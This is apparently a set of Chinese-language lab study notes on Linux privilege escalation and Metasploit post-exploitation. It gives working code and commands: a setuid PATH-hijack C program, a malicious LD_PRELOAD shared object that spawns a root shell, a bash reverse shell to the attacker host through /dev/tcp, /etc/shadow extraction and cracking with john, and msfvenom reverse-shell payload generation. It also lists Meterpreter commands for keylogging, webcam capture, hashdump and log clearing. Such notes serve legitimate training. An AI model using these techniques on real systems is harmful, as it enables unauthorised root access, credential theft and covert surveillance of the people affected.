linux-提权-PATH

echo $PATH看一眼环境变量

1.输入下面命令查看具有写权限的文件夹
find / -writable 2>/dev/null | cut -d “/” -f 2 | sort -u

而使用下面的命令则展示“消除了与进程运行相关”的结果
find / -writable 2>/dev/null | cut -d “/” -f 2,3 | grep -v proc | sort -u

通过下面命令把文件夹路径添加到环境变量中
export PATH=/tmp:$PATH

在攻击机编译一个c文件:

创建一个文件,写入下面代码:

#include<unistd.h>
void main()
{ setuid(0);
  setgid(0);
  system("thm");
}

gcc path-poc.c -o path -w //编译生成path

在被攻击机上,chmod u+s path提高权限,设置suid,让该文件以root权限运行

将下列文件保存为.py文件

usr/bin/python3

import os
import sys

try:
os.system(“thm”)
except:
sys.exit()

生成一个thm文件,内容为:
“/bin/bash” 将它chmod 777

生成thm文件,提升权限,运行./test:

关键是这个 test 文件。他是elf文件,里面的代码利用了PATH漏洞

linux-提权-cron计划任务

如果发现有root创建的计划任务并且普通用户能修改,那就可以写shell

1.输入命令 cat /etc/crontab 查看计划任务:

上图可见有一个root创建的备份文件

尝试反向弹shell:

在被攻击机的cron中的文件输入:
bash -i >& /dev/tcp/攻击机ip/攻击机监听端口 0>&1

攻击机开启nc: nc -lvnp 6666

当被攻击机运行上述文件时,会反弹shell(ls -la看一下文件权限,需要的时候chmod +x 给一个执行权限)自动运行才弹root,不是自动运行的话只是弹文件所属人的shell,不算提权成功。


Crontab 始终值得检查,因为它有时会导致简单的特权升级。以下场景在不具备一定网络安全成熟度级别的公司中并不少见:

  1. 系统管理员需要定期运行脚本。
  2. 他们创建了一个 cron 作业来执行此操作
  3. 一段时间后,脚本变得无用,他们将其删除(但是计划任务还在)
  4. 他们不清理相关的 cron 作业

linux提权-Capabilities

所以尝试这个提权思路时,先用命令查看哪些程序有该属性:
getcap -r / 2>/dev/null 该命令运行后效果如下图:

可以看到vim可以设置uid,那就和GTFObins 网站联动,去查找vim相关的,复制粘贴Capabilities部分的命令:

./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'


如果上述不能用,尝试py写成py3,也就是根据系统python版本决定,若成功,会得到root的shell:


linux-提权-SUID、SGID

 SUID(设置用户标识)和 SGID(设置组标识)而改变。这些允许文件分别以文件所有者或组所有者的权限级别执行

find / -type f -perm -04000 -ls 2>/dev/null将列出设置了 SUID 或 SGID 位的文件:

一个好的做法是将此列表中的可执行文件与 GTFOBins ( https://gtfobins.github.io ) 进行比较。

GTFOBins 是一个精选的 Unix 二进制文件列表,可用于绕过错误配置系统中的本地安全限制。

该项目收集了可被滥用的 Unix 二进制文件的合法功能打破受限的 shell,升级或维护提升的特权,传输文件,生成绑定和反向 shell,并促进其他后期开发任务。


trhackme 提权 suid:

从上个步骤找到 路径下有base64,从下列网站找用法

https://gtfobins.github.io/gtfobins/base64/#suid查看用法。

1.LFILE=/etc/passwd

2.输入下列命令(在被攻击机),前面的路径在第一条命令展示的数据中。

/usr/bin/base64  "$LFILE" | base64 --decode

将列出来的结果放到passwd.txt(攻击机)中

3.同样的方式,处理/etc/shadow,LFILE=/etc/shadow
/usr/bin/base64 “$LFILE” | base64 –decode

把结果放到shadow.txt中(攻击机)


接下来使用unshadow工具

在攻击机打开终端,路径在passwd.txt同一个位置,输入:
unshadow passwd.txt shadow.txt > passwords.txt

此图片的alt属性为空;文件名为image-7.png

github下载好rockyou.txt后,输入命令(攻击机):
sudo john passwords.txt -wordlist=rockyou.txt
尝试爆破哈希,如下图成功爆破靶场的账户密码。

tryhackme的flag3.txt为啥也能用这个?除了root用户都不能cat这个文件,为啥直接用base64的思路,如果他不是base64加密的呢?

linux-提权-sudo

1.sudo -l 查看与root权限相关的信息

上图说明,有三个程序不需要密码就能按照sudo运行的程序,分别是find、less、nano

2.sudo nano进入nano编辑器,ctrl+r然后ctrl+x,进入运行命令模式:

输入“reset; bash 1>&0 2>&0”回车,发现提权了


如果sudo -l发现环境有LD_PRELOAD,(LD_PRELOAD 是一个允许任何程序使用共享库的函数),可以尝试利用以下思路:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

将上述代码保存成shell.c文件,运行命令 “gcc -fPIC -shared -o shell.so shell.c -nostartfiles” 编译后,生成shell.so;

使用命令“sudo LD_PRELOAD=/home/user/ldpreload/shell.so find”可以提权

linux提权-2cve-2015-1328提权

省略前渗透阶段,假设已经getshell,拿到普通用户权限:

1.看系统信息,搜集os版本、内核版本等

2.到exploitdb搜exp

3.复制粘贴exp

4.gcc编译exp

5.运行exp

cve-2015-1328

gcc xxx.c -o pwned 然后 ./pwnen pwned是自己取的

searchsploit kernel xxx 查exp路径

find / -name “xxx” 找到exp

linux-提权-1-命令

强烈推荐:https://www.exploit-db.com/ 可以根据内核,模糊查询即可

输入命令开启http服务:python3 -m http.server 9000

一、枚举

hostname

uname -a

/proc/version

/etc/issue


“ps”命令提供了一些有用的选项。

  • ps -A: 查看所有正在运行的进程
  • ps axjf:查看进程树(见下面的树形成直到ps axjf运行)
  • ps aux:该aux 选项将显示所有用户的进程 (a),显示启动进程的用户 (u),并显示未附加到终端的进程 (x)。查看 ps aux 命令输出,我们可以更好地了解系统和潜在漏洞。

env

sudo -l

ls

Id

/etc/passwd

history

ifconfig

netstat

查找文件:

  • find . -name flag1.txt: 在当前目录下找到名为“flag1.txt”的文件 //如果在全盘搜索 则 . 换成 /
  • find /home -name flag1.txt: 在/home目录下找到文件名“flag1.txt”
  • find / -type d -name config: 在“/”下找到名为config的目录
  • find / -type f -perm 0777: 查找777权限的文件(所有用户可读、可写、可执行的文件)
  • find / -perm a=x: 查找可执行文件
  • find /home -user frank: 在“/home”下查找用户“frank”的所有文件
  • find / -mtime 10:查找最近 10 天内修改过的文件
  • find / -atime 10:查找最近 10 天内访问过的文件
  • find / -cmin -60:查找最近一小时(60 分钟)内更改的文件
  • find / -amin -60:查找最近一小时(60 分钟)内的文件访问
  • find / -size 50M:查找大小为 50 MB 的文件

msf-Meterprete

它实际是metasploit的一种载荷,它在攻击系统上运行但是并没有安装在系统里,而是加载在内存里。比如反弹shell的实验中,会建立的会话就显示metaprete,再比如MS17_010。

Meterpreter 会与攻击者的系统建立一个加密的(TLS)通信通道。

下面是metaprete能生效的系统:

  • Android
  • Apple iOS
  • Java
  • Linux
  • OSX
  • PHP
  • Python
  • Windows

metaprete相关命令:

核心命令

  • background:背景当前会话 //可以通过sessions -i 进入会话
  • exit:终止Meterpreter会话
  • guid: 获取会话GUID (Globally Unique Identifier)
  • help:显示帮助菜单
  • info: 显示有关 Post 模块的信息
  • irb:在当前会话中打开交互式 Ruby shell
  • load: 加载一个或多个 Meterpreter 扩展
  • migrate: 允许您将 Meterpreter 迁移到另一个进程
  • run: 执行一个 Meterpreter 脚本或 Post 模块
  • sessions:快速切换到另一个会话

文件系统命令

  • cd: 会改变目录
  • ls: 将列出当前目录中的文件(dir 也可以)
  • pwd: 打印当前工作目录
  • edit: 将允许您编辑文件
  • cat: 将文件的内容显示到屏幕上
  • rm: 将删除指定的文件
  • search:将搜索文件
  • upload: 将上传文件或目录
  • download: 将下载一个文件或目录

联网命令

  • arp:显示主机ARP(地址解析协议)缓存
  • ifconfig:显示目标系统上可用的网络接口
  • netstat:显示网络连接
  • portfwd:将本地端口转发到远程服务
  • route:允许您查看和修改路由表

系统指令

  • clearev:清除事件日志
  • execute: 执行命令
  • getpid: 显示当前进程标识符
  • getuid: 显示 Meterpreter 正在运行的用户 //清楚当前权限
  • kill: 终止进程
  • pkill: 按名称终止进程
  • ps:列出正在运行的进程 //列出进程的信息,方便迁移metaprete到别的进程,进行伪装
  • reboot:重新启动远程计算机
  • shell:进入系统命令外壳
  • shutdown:关闭远程计算机
  • sysinfo: 获取远程系统的信息,例如OS

其他命令(这些将在帮助菜单的不同菜单类别下列出)

  • idletime:返回远程用户空闲的秒数
  • keyscan_dump:转储击键缓冲区
  • keyscan_start:开始捕获击键
  • keyscan_stop: 停止捕获击键
  • screenshare:允许您实时观看远程用户的桌面
  • screenshot:抓取交互式桌面的屏幕截图
  • record_mic:从默认麦克风录制音频 X 秒
  • webcam_chat:开始视频聊天
  • webcam_list:列出网络摄像头
  • webcam_snap:从指定的网络摄像头拍摄快照
  • webcam_stream:播放来自指定网络摄像头的视频流
  • getsystem:尝试将您的特权提升到本地系统的特权
  • hashdump: 转储 SAM 数据库的内容

迁移:更好的伪装,或者借助别的进程进行后渗透,使用命令 migrate pid(进程号) 进行迁移。

哈希转储:hashdump命令

搜索:search

getshell:shell

metaprete可以加载kiwi、python:
Kiwi主要针对Windows域环境中的安全问题进行研究和演示,可以用于渗透测试、红队操作和安全研究等领域。
只需要 在 metaprete 界面输入load kiwi即可。

演示:

获得一个metaprete会话后:
1.sysinfo 查看计算机的相关信息;
2.post/windows/gather/enum_domain 使用该模块来查看目标域。此时需要隐藏会话,但是要记住session id
3.post/windows/gather/enum_shares 使用该模块查看共享名称

msf-msfvenom

msfvenom:

攻击机

msfvenom -l payloads 查看payload
可以生成独立的有效负载(例如 Meterpreter 的 Windows 可执行文件)或获取可用的原始格式(例如 python)。该msfvenom --list formats命令可用于列出支持的输出格式

生成载荷:
msfvenom -p php/reverse_php LHOST= LPORT= -f raw > reverse_shell.php //php
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > rev_shell.elf //linux
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > rev_shell.asp //asp
msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > rev_shell.py //python

然后msfconsole要使用模块进行监听:
msf6 > use exploit/multi/handler
进行监听,并且要设置 lhost、lport 以及对应的payload(对应系统)

设置payload可根据目标的OS来选择,下面是gpt给出的payload:

  1. windows/meterpreter/reverse_tcp:用于攻击运行Windows操作系统的目标系统,使用反向TCP连接方式与Metasploit框架建立连接,并提供Meterpreter shell。
  2. linux/x86/meterpreter/reverse_tcp:用于攻击运行Linux操作系统的目标系统,使用反向TCP连接方式与Metasploit框架建立连接,并提供Meterpreter shell。
  3. osx/x86/shell_reverse_tcp:用于攻击运行macOS操作系统的目标系统,使用反向TCP连接方式与Metasploit框架建立连接,并提供shell访问权限。
  4. android/meterpreter/reverse_tcp:用于攻击运行Android操作系统的目标设备,使用反向TCP连接方式与Metasploit框架建立连接,并提供Meterpreter shell。

设置完毕后就可以 run

等待受害主机运行msfvenom生成的文件。

后期使用其他模块时,连续按ctrl z隐藏会话,选择要利用的模块,此时需要set session

通过 sessions查看当前会话数量以及会话id,然后set session,然后run即可

挂好上游代理

clash

1.打开虚拟机

2.sudo打开clash

3.浏览器访问127.0.0.1:9090/ui访问clash检查配置

4.clash正常运行后,查看ip有没有变


burp

1.在setting那找到connection,找到socks5代理

2.输入127.0.0.1 port 7xxx(在上面第3步那可以编辑端口)

3.然后按照正常的抓包流程该http、https的端口进行抓包。